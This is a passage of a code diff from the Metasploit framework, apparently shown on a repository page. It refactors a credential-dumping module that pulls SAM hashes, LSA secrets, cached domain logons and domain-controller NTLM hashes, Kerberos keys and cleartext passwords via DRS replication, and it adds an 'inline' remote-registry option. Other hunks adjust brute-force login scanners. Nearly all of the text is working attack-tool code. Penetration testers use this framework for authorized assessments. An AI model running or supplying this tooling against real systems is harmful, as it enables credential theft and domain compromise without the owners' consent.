conditions: ['ACTION', 'in', %w[ALL SAM CACHE LSA]]
|
||||
)
|
||||
]
|
||||
)
|
||||
|
||||
@service_should_be_stopped = false
|
||||
@service_should_be_disabled = false
|
||||
@@ -227,15 +242,15 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
end
|
||||
|
||||
def dump_sam_hashes(reg_parser, boot_key)
|
||||
def dump_sam_hashes(windows_reg, boot_key)
|
||||
print_status('Dumping SAM hashes')
|
||||
vprint_status('Calculating HashedBootKey from SAM')
|
||||
hboot_key = reg_parser.get_hboot_key(boot_key)
|
||||
hboot_key = windows_reg.get_hboot_key(boot_key)
|
||||
unless hboot_key.present?
|
||||
print_warning('Unable to get hbootKey')
|
||||
return
|
||||
end
|
||||
users = reg_parser.get_user_keys
|
||||
users = windows_reg.get_user_keys
|
||||
users.each do |rid, user|
|
||||
user[:hashnt], user[:hashlm] = decrypt_user_key(hboot_key, user[:V], rid)
|
||||
end
|
||||
@@ -263,13 +278,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def get_lsa_secret_key(reg_parser, boot_key)
|
||||
def get_lsa_secret_key(windows_reg, boot_key)
|
||||
print_status('Decrypting LSA Key')
|
||||
lsa_key = reg_parser.lsa_secret_key(boot_key)
|
||||
lsa_key = windows_reg.lsa_secret_key(boot_key)
|
||||
|
||||
vprint_good("LSA key: #{lsa_key.unpack('H*')[0]}")
|
||||
|
||||
if reg_parser.lsa_vista_style
|
||||
if windows_reg.lsa_vista_style
|
||||
vprint_status('Vista or above system')
|
||||
else
|
||||
vprint_status('XP or below system')
|
||||
@@ -278,18 +293,21 @@ class MetasploitModule < Msf::Auxiliary
|
||||
return lsa_key
|
||||
end
|
||||
|
||||
def get_nlkm_secret_key(reg_parser, lsa_key)
|
||||
def get_nlkm_secret_key(windows_reg, lsa_key)
|
||||
print_status('Decrypting NL$KM')
|
||||
|
||||
reg_parser.nlkm_secret_key(lsa_key)
|
||||
windows_reg.nlkm_secret_key(lsa_key)
|
||||
end
|
||||
|
||||
def dump_cached_hashes(reg_parser, nlkm_key)
|
||||
def dump_cached_hashes(windows_reg, nlkm_key)
|
||||
print_status('Dumping cached hashes')
|
||||
|
||||
cache_infos = reg_parser.cached_infos(nlkm_key)
|
||||
cache_infos = windows_reg.cached_infos(nlkm_key)
|
||||
if cache_infos.nil? || cache_infos.empty?
|
||||
print_status('No cashed entries')
|
||||
print_warning('No cashed entries.')
|
||||
if datastore['INLINE']
|
||||
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
@@ -335,7 +353,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: logon_domain_name
|
||||
}
|
||||
if reg_parser.lsa_vista_style
|
||||
if windows_reg.lsa_vista_style
|
||||
jtr_hash = "$DCC2$#{cache_info.real_iteration_count}##{username}##{cache_info.data.enc_hash.to_hex}:#{dns_domain_name}:#{logon_domain_name}"
|
||||
else
|
||||
jtr_hash = "M$#{username}##{cache_info.data.enc_hash.to_hex}:#{dns_domain_name}:#{logon_domain_name}"
|
||||
@@ -350,7 +368,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
if hashes.empty?
|
||||
print_line('No cached hashes on this system')
|
||||
else
|
||||
print_status("Hash#{'es' if hashes.lines.size > 1} are in '#{reg_parser.lsa_vista_style ? 'mscash2' : 'mscash'}' format")
|
||||
print_status("Hash#{'es' if hashes.lines.size > 1} are in '#{windows_reg.lsa_vista_style ? 'mscash2' : 'mscash'}' format")
|
||||
print_line(hashes)
|
||||
end
|
||||
end
|
||||
@@ -539,10 +557,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_line
|
||||
end
|
||||
|
||||
def dump_lsa_secrets(reg_parser, lsa_key)
|
||||
def dump_lsa_secrets(windows_reg, lsa_key)
|
||||
print_status('Dumping LSA Secrets')
|
||||
|
||||
lsa_secrets = reg_parser.lsa_secrets(lsa_key)
|
||||
lsa_secrets = windows_reg.lsa_secrets(lsa_key)
|
||||
if lsa_secrets.empty?
|
||||
print_warning('No LSA secrets to dump')
|
||||
if datastore['INLINE']
|
||||
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
|
||||
end
|
||||
end
|
||||
lsa_secrets.each do |key, secret|
|
||||
print_secret(key, secret)
|
||||
end
|
||||
@@ -676,7 +700,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
vprint_status('Bound to DRSR')
|
||||
|
||||
dcerpc_client
|
||||
rescue ::Rex::Proto::DCERPC::Exceptions::Error, ArgumentError => e
|
||||
rescue RubySMB::Dcerpc::Error::DcerpcError, ArgumentError => e
|
||||
print_error("Unable to bind to the directory replication remote service (DRS): #{e}")
|
||||
return
|
||||
end
|
||||
@@ -825,11 +849,19 @@ class MetasploitModule < Msf::Auxiliary
|
||||
users = get_domain_users
|
||||
|
||||
dcerpc_client = connect_drs
|
||||
unless dcerpc_client
|
||||
print_error(
|
||||
'Unable to connect to the directory replication remote service (DRS).'\
|
||||
'Is the remote server a Domain Controller?'
|
||||
)
|
||||
return
|
||||
end
|
||||
ph_drs = dcerpc_client.drs_bind
|
||||
dc_infos = dcerpc_client.drs_domain_controller_info(ph_drs, domain_name)
|
||||
user_info = {}
|
||||
dc_infos.each do |dc_info|
|
||||
users.each do |sid, _name|
|
||||
users.each do |user|
|
||||
sid = user[0]
|
||||
crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid])
|
||||
crack_names.each do |crack_name|
|
||||
user_record = dcerpc_client.drs_get_nc_changes(
|
||||
@@ -866,7 +898,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
print_line("\n# NTLM hashes:")
|
||||
user_info.each do |_sid, info|
|
||||
user_info.each_value do |info|
|
||||
hash = "#{info[:lm_hash].unpack('H*')[0]}:#{info[:nt_hash].unpack('H*')[0]}"
|
||||
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"
|
||||
unless report_creds(full_name, hash, **credential_opts)
|
||||
@@ -894,7 +926,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
print_line("\n# Account Info:")
|
||||
user_info.each do |_sid, info|
|
||||
user_info.each_value do |info|
|
||||
print_line("## #{info[:dn]}")
|
||||
print_line("- Administrator: #{info[:admin]}")
|
||||
print_line("- Domain Admin: #{info[:domain_admin]}")
|
||||
@@ -918,7 +950,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
"not stored, just replace it with the empty lmhash (#{Net::NTLM.lm_hash('').unpack('H*')[0]})"
|
||||
)
|
||||
end
|
||||
user_info.each do |_sid, info|
|
||||
user_info.each_value do |info|
|
||||
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"
|
||||
|
||||
if info[:nt_history].size > 1 || info[:lm_history].size > 1
|
||||
@@ -938,7 +970,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
print_line("\n# Kerberos keys:")
|
||||
user_info.each do |_sid, info|
|
||||
user_info.each_value do |info|
|
||||
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"
|
||||
|
||||
if info[:kerberos_keys].nil? || info[:kerberos_keys].empty?
|
||||
@@ -963,7 +995,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
print_line("\n# Clear text passwords:")
|
||||
user_info.each do |_sid, info|
|
||||
user_info.each_value do |info|
|
||||
full_name = "#{domain_name}\\#{info[:username]}"
|
||||
|
||||
if info[:clear_text_passwords].nil? || info[:clear_text_passwords].empty?
|
||||
@@ -991,6 +1023,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def do_cleanup
|
||||
print_status('Cleaning up...')
|
||||
|
||||
if @service_should_be_stopped
|
||||
print_status('Stopping service RemoteRegistry...')
|
||||
svc_handle = @svcctl.open_service_w(@scm_handle, 'RemoteRegistry')
|
||||
@@ -1113,55 +1146,67 @@ class MetasploitModule < Msf::Auxiliary
|
||||
check_lm_hash_not_stored if @winreg
|
||||
|
||||
if ['ALL', 'SAM'].include?(action.name)
|
||||
begin
|
||||
sam = save_sam
|
||||
rescue RubySMB::Error::RubySMBError => e
|
||||
if action.name == 'ALL'
|
||||
print_warning("Error when getting SAM hive... skipping ([#{e.class}] #{e}).")
|
||||
if @winreg
|
||||
if datastore['INLINE']
|
||||
print_status('Using `INLINE` technique for SAM')
|
||||
windows_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :sam, inline: true)
|
||||
else
|
||||
print_error("Error when getting SAM hive ([#{e.class}] #{e}).")
|
||||
begin
|
||||
sam = save_sam
|
||||
windows_reg = Msf::Util::WindowsRegistry.parse(sam, name: :sam, root: 'HKLM\\SAM')
|
||||
rescue RubySMB::Error::RubySMBError => e
|
||||
print_error("Error when getting SAM hive ([#{e.class}] #{e})")
|
||||
end
|
||||
end
|
||||
sam = nil
|
||||
end
|
||||
|
||||
if sam
|
||||
reg_parser = Msf::Util::WindowsRegistry.parse(sam, name: :sam)
|
||||
dump_sam_hashes(reg_parser, boot_key)
|
||||
dump_sam_hashes(windows_reg, boot_key) if windows_reg
|
||||
else
|
||||
print_bad('Winreg client is not initialized, cannot dump SAM hashes')
|
||||
end
|
||||
end
|
||||
|
||||
if ['ALL', 'CACHE', 'LSA'].include?(action.name)
|
||||
begin
|
||||
security = save_security
|
||||
rescue RubySMB::Error::RubySMBError => e
|
||||
if action.name == 'ALL'
|
||||
print_warning("Error when getting SECURITY hive... skipping ([#{e.class}] #{e}).")
|
||||
if @winreg
|
||||
if datastore['INLINE']
|
||||
print_status('Using `INLINE` technique for CACHE and LSA')
|
||||
windows_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :security, inline: true)
|
||||
else
|
||||
print_error("Error when getting SECURITY hive ([#{e.class}] #{e}).")
|
||||
end
|
||||
security = nil
|
||||
end
|
||||
|
||||
if security
|
||||
reg_parser = Msf::Util::WindowsRegistry.parse(security, name: :security)
|
||||
lsa_key = get_lsa_secret_key(reg_parser, boot_key)
|
||||
if lsa_key.nil? || lsa_key.empty?
|
||||
print_status('No LSA key, skip LSA secrets and cached hashes dump')
|
||||
else
|
||||
report_info(lsa_key.unpack('H*')[0], 'host.lsa_key')
|
||||
if ['ALL', 'LSA'].include?(action.name)
|
||||
dump_lsa_secrets(reg_parser, lsa_key)
|
||||
begin
|
||||
security = save_security
|
||||
windows_reg = Msf::Util::WindowsRegistry.parse(security, name: :security, root: 'HKLM\\SECURITY')
|
||||
rescue RubySMB::Error::RubySMBError => e
|
||||
print_error("Error when getting SECURITY hive ([#{e.class}] #{e})")
|
||||
end
|
||||
if ['ALL', 'CACHE'].include?(action.name)
|
||||
nlkm_key = get_nlkm_secret_key(reg_parser, lsa_key)
|
||||
if nlkm_key.nil? || nlkm_key.empty?
|
||||
print_status('No NLKM key (skip cached hashes dump)')
|
||||
else
|
||||
report_info(nlkm_key.unpack('H*')[0], 'host.nlkm_key')
|
||||
dump_cached_hashes(reg_parser, nlkm_key)
|
||||
end
|
||||
|
||||
if windows_reg
|
||||
lsa_key = get_lsa_secret_key(windows_reg, boot_key)
|
||||
if lsa_key.nil? || lsa_key.empty?
|
||||
print_warning('No LSA key, skip LSA secrets and cached hashes dump')
|
||||
if datastore['INLINE']
|
||||
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
|
||||
end
|
||||
else
|
||||
report_info(lsa_key.unpack('H*')[0], 'host.lsa_key')
|
||||
if ['ALL', 'LSA'].include?(action.name)
|
||||
dump_lsa_secrets(windows_reg, lsa_key)
|
||||
end
|
||||
if ['ALL', 'CACHE'].include?(action.name)
|
||||
nlkm_key = get_nlkm_secret_key(windows_reg, lsa_key)
|
||||
if nlkm_key.nil? || nlkm_key.empty?
|
||||
print_warning('No NLKM key (skip cached hashes dump)')
|
||||
if datastore['INLINE']
|
||||
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
|
||||
end
|
||||
else
|
||||
report_info(nlkm_key.unpack('H*')[0], 'host.nlkm_key')
|
||||
dump_cached_hashes(windows_reg, nlkm_key)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
print_bad('Winreg client is not initialized, cannot dump LSA secrets and cached hashes')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -40,7 +40,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'DB_ALL_USERS',
|
||||
'DB_ALL_CREDS',
|
||||
'DB_SKIP_EXISTING',
|
||||
'PASSWORD_SPRAY',
|
||||
'USERNAME',
|
||||
'USERPASS_FILE',
|
||||
'USER_FILE',
|
||||
@@ -61,23 +60,25 @@ class MetasploitModule < Msf::Auxiliary
|
||||
cred_collection = prepend_db_passwords(cred_collection)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::ACPP.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: datastore['ConnectTimeout'],
|
||||
max_send_size: datastore['TCP::max_send_size'],
|
||||
send_delay: datastore['TCP::send_delay'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
ssl: datastore['SSL'],
|
||||
ssl_version: datastore['SSLVersion'],
|
||||
ssl_verify_mode: datastore['SSLVerifyMode'],
|
||||
ssl_cipher: datastore['SSLCipher'],
|
||||
local_port: datastore['CPORT'],
|
||||
local_host: datastore['CHOST']
|
||||
configure_login_scanner(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: datastore['ConnectTimeout'],
|
||||
max_send_size: datastore['TCP::max_send_size'],
|
||||
send_delay: datastore['TCP::send_delay'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
ssl: datastore['SSL'],
|
||||
ssl_version: datastore['SSLVersion'],
|
||||
ssl_verify_mode: datastore['SSLVerifyMode'],
|
||||
ssl_cipher: datastore['SSLCipher'],
|
||||
local_port: datastore['CPORT'],
|
||||
local_host: datastore['CHOST']
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
|
||||
@@ -36,8 +36,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptBool.new('RECORD_GUEST', [ false, "Record guest login to the database", false]),
|
||||
OptBool.new('CHECK_GUEST', [ false, "Check for guest login", true])
|
||||
], self)
|
||||
|
||||
deregister_options('PASSWORD_SPRAY')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@@ -49,6 +47,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::AFP.new(
|
||||
configure_login_scanner(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
@@ -66,6 +65,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
ssl_cipher: datastore['SSLCipher'],
|
||||
local_port: datastore['CPORT'],
|
||||
local_host: datastore['CHOST']
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
|
||||
@@ -36,8 +36,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
|
||||
File.join(Msf::Config.data_directory, "wordlists", "db2_default_pass.txt") ]),
|
||||
])
|
||||
|
||||
deregister_options('PASSWORD_SPRAY')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@@ -48,6 +46,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::DB2.new(
|
||||
configure_login_scanner(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
@@ -65,6 +64,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
ssl_cipher: datastore['SSLCipher'],
|
||||
local_port: datastore['CPORT'],
|
||||
local_host: datastore['CHOST']
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user